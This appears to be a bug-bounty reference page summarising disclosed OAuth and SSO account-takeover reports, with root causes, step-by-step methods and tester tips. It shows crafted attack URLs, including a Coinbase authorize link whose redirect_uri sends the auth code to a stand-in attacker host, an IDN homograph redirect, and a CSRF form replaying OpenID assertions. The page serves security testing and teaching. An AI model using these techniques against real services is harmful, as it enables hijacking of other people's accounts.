Insight — Always test redirect_uri / return / success-url params in OAuth/SSO for open-redirect; if the auth code or token rides that redirect, an unvalidated value is a full account takeover, not just a redirect.

Real-world example

OAuth/OpenID account-linking CSRF -> attacker links their identity to victim

◆ High
Specimen #225653 · weblate · none · 10 votes · resolved
Program weblateSurface webChain account-linking CSRF -> login as victim via attacker's IdTag oauthTag account-takeover

Root cause

The social-login 'add association / complete' callback is not CSRF-protected, so an attacker can replay their own IdP assertion into the victim's session, binding the attacker's third-party account to the victim's app account. Attacker then logs in via that IdP as the victim.

Method

  1. As attacker, start 'Add new association' with an IdP (Ubuntu One/OpenID) and intercept the /accounts/complete/<provider>/ callback POST that carries the signed assertion.
  2. Drop the request in your own flow; rebuild it as an auto-submit CSRF form.
  3. Deliver to a logged-in victim; the attacker's IdP identity is now associated with the victim account.
  4. Attacker uses 'Login with <IdP>' to access the victim's account.
CSRF form POSTing the captured `openid.*` assertion params to: https://TARGET/accounts/complete/ubuntu/?janrain_nonce=... (all openid.sig/openid.claimed_id/openid.identity fields as hidden inputs)

Insight — Social-login 'connect account' endpoints are a high-value CSRF target: linking (not just settings) leads straight to ATO. Verify the completion/callback carries and enforces a state/nonce bound to the user's session; if you can replay your own assertion cross-site, it's ATO.

Real-world example

OAuth redirect_uri without scheme concatenated to base host

◆ High
Specimen #48065 · coinbase · awarded · 4 votes · resolved
Program coinbaseSurface webTag oauthTag account-takeover

Root cause

OAuth authorize accepted a redirect_uri lacking an http(s) scheme; the server concatenated it to the base, producing www.coinbase.com<attacker> and redirecting the user (with the auth code) to an attacker-controlled destination.

Method

  1. Register/craft an OAuth authorize request with redirect_uri missing its scheme (e.g. attacker.tld/code.php)
  2. Send victim the authorize URL
  3. Victim is redirected to www.coinbase.com+attacker string / attacker host, leaking the code/token
https://www.coinbase.com/oauth/authorize?response_type=code&client_id=CLIENT&redirect_uri=attacker.tld/code.php&scope=user

Insight — Test OAuth redirect_uri validation with scheme-less values, trailing/leading dots, and prefix tricks; string-concat or prefix-match validation leaks the authorization code.

Real-world example

OAuth redirect_uri bypass via IDN homograph domain

◆ Medium
Specimen #861940 · semrush · awarded · 263 votes · resolved
Program semrushSurface webTag oauthTag account-takeover

Root cause

OAuth redirect_uri validation treated Unicode look-alike domains (Cyrillic e in the host) as the legitimate host, so the authorization code was delivered to an attacker-registered punycode domain.

Method

  1. Find the OAuth authorize endpoint and its redirect_uri validation
  2. Craft a homograph of the allowed host using look-alike Unicode chars
  3. Register the punycode equivalent (xn--...) and use it as redirect_uri
  4. Victim approves; code/token is sent to attacker domain
https://oauth.semrush.com/oauth2/authorize?response_type=code&client_id=seoquake&redirect_uri=https://oauth.<homograph>.com/oauth2/success # homograph host == xn--emrush-9jb.com

Insight — redirect_uri allowlists that compare decoded Unicode (not punycode/exact bytes) are bypassable with homograph domains. Test IDN look-alikes against any host-based redirect/CORS/email validation.

Real-world example

Open redirect in OAuth flow leaks authorization code -> token/ATO

◆ High
Specimen #3423013 · line · 1000 · 43 votes · resolved
Program lineSurface webChain open redirect on OAuth host -> auth code sent to attackerTag oauthTag account-takeover

Root cause

An open redirect on an OAuth-participating host let the authorization response (code) be delivered to an attacker-controlled endpoint, because redirect destinations were not restricted to trusted domains within the OAuth 2.0 flow.

Method

  1. Find an open redirect on a host used inside the OAuth authorize/return flow
  2. Craft the authorize/return URL so the code is forwarded to the attacker via the redirect
  3. Victim authenticates; code lands at attacker; exchange for access token

Insight — Chain any open redirect that sits on the OAuth redirect_uri path (or an intermediate return_to) into authorization-code exfiltration. Always test whether the OAuth return/redirect handler will forward the code to an off-host location; a low-sev open redirect becomes account takeover.

§References & practice

  1. PortSwigger Web Security Academy — OAuth labs (hands-on practice).
  2. All 62 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.